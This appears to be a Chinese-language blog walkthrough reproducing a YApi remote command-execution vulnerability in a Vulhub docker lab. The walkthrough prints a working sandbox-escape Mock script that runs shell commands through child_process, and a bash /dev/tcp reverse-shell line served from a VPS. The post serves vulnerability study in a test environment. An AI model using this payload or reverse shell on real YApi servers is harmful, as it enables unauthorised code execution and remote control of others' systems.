Yapi命令执行漏洞复现

一、漏洞描述

YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

YAPI开放了注册功能,注册用户后新建项目并在接口的Mock功能里面添加了恶意脚本,最终执行了脚本里的命令

二、环境搭建

使用 Vulhub 搭建测试环境,项目地址 https://github.com/vulhub/vulhub

使用 docker 启动

docker-compose up -d

在这里插入图片描述
启动成功后访问 ip:3000
在这里插入图片描述

三、漏洞复现

首先注册一个账户,并登陆
在这里插入图片描述
新建项目
在这里插入图片描述
新建接口
在这里插入图片描述
高级 Mock -> 脚本,填写恶意命令代码

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()

保存,点击预览,访问 Mock 地址
在这里插入图片描述
查看命令执行的结果
在这里插入图片描述

四、反弹shell

直接尝试 bash -i >& /dev/tcp/IP/port 0>&1,发现报错无法正常反弹
在这里插入图片描述
尝试在 VPS 上使用 python 开启 http服务

新建 1.txt 文件内容为 bash -i >& /dev/tcp/IP/Port 0>&1
在这里插入图片描述
编辑网站 Mock 脚本
在这里插入图片描述
然后重新访问 Mock地址

在这里插入图片描述
成功反弹

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值